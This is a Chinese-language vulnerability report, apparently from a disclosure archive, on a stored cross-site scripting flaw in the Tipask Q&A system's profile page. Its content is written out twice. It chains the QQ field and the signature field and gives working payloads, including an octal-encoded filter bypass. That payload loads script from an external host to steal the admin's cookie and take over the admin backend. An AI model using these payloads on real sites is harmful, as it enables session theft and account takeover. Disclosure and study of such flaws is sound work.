### 简要描述:
tipask问答系统某处存储型xss(绕过限制)
### 详细说明:
编辑个人资料时,QQ处没有过滤。
http://127.0.0.1/tipask/tipask/?user/profile.html
输入
"><h1>xx</h1>
[<img src="https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png)
提交后自己查看
[<img src="https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png)
别人查看
[<img src="https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png)
但是QQ处长度有限制,导致我们不能形成xss。
[<img src="https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png)
只能长15个字符,不够构造xss
但是我发现用户可以编辑签名,长度在200字符以内,但是该处有限制。
我们先看看输出。
可以看到
[<img src="https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png)
尖括号被过滤了。
但是结合前面那个QQ处的bug,我们可以做出很多猥琐的事情~
QQ处输入
```
1"><img src='
```
这样就能构造后面所有的字符串都被包含在单引号里面了。
然后构造签名处输入为
```
' onerror=alert(1);//
```
截图看效果。
查看用户的个人资料,访问http://127.0.0.1/tipask/tipask/?u-5.html
[<img src="https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png)
看一下源代码,经过浏览器渲染后的效果。
[<img src="https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png)
光是弹出对话框还不够,我们还得能够打到用户的cookie什么的,包含外部js。
一开始签名处使用的payload如下
```
' onerror=eval('var b=document.createElement("script");b.src="http://x58pw.sinaapp.com/WZ5U57";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);');//
```
[<img src="https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png)
onerror后面自动加上了双引号,并且我输入的双引号都被实体化成了"
,导致整个payload的引号混乱,根本不能完整闭合。所以说payload中不能出现双引号。
于是想到js代码中允许用8字符串的进制编码
于是
"-->\42
空格-->\40
最终构造出payload
'
```
onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//
```
不使用onerror='alert(1)'这种格式的原因是还存在着小尾巴</span></i
如果不放在js里面并且用//注释,也会导致整个payload不能运行。
下面放测试截图,修改用户test的个人资料。
QQ处输入
```
1"><img src='
```
签名处输入
```
' onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//
```
然后使用admin账户登录查看test的个人资料。
[<img src="https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png)
成功拿到cookie,使用该cookie可以登陆管理员后台。
剩下的都懂。
### 漏洞证明:
编辑个人资料时,QQ处没有过滤。
http://127.0.0.1/tipask/tipask/?user/profile.html
输入
"><h1>xx</h1>
[<img src="https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png)
提交后自己查看
[<img src="https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png)
别人查看
[<img src="https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png)
但是QQ处长度有限制,导致我们不能形成xss。
[<img src="https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png)
只能长15个字符,不够构造xss
但是我发现用户可以编辑签名,长度在200字符以内,但是该处有限制。
我们先看看输出。
可以看到
[<img src="https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png)
尖括号被过滤了。
但是结合前面那个QQ处的bug,我们可以做出很多猥琐的事情~
QQ处输入
```
1"><img src='
```
这样就能构造后面所有的字符串都被包含在单引号里面了。
然后构造签名处输入为
```
' onerror=alert(1);//
```
截图看效果。
查看用户的个人资料,访问http://127.0.0.1/tipask/tipask/?u-5.html
[<img src="https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png)
看一下源代码,经过浏览器渲染后的效果。
[<img src="https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png)
光是弹出对话框还不够,我们还得能够打到用户的cookie什么的,包含外部js。
一开始签名处使用的payload如下
```
' onerror=eval('var b=document.createElement("script");b.src="http://x58pw.sinaapp.com/WZ5U57";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);');//
```
[<img src="https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png)
onerror后面自动加上了双引号,并且我输入的双引号都被实体化成了"
,导致整个payload的引号混乱,根本不能完整闭合。所以说payload中不能出现双引号。
于是想到js代码中允许用8字符串的进制编码
于是
"-->\42
空格-->\40
最终构造出payload
'
```
onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//
```
不使用onerror='alert(1)'这种格式的原因是还存在着小尾巴</span></i
如果不放在js里面并且用//注释,也会导致整个payload不能运行。
下面放测试截图,修改用户test的个人资料。
QQ处输入
```
1"><img src='
```
签名处输入
```
' onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');//
```
然后使用admin账户登录查看test的个人资料。
[<img src="https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png)
成功拿到cookie,使用该cookie可以登陆管理员后台。
剩下的都懂。
暂无评论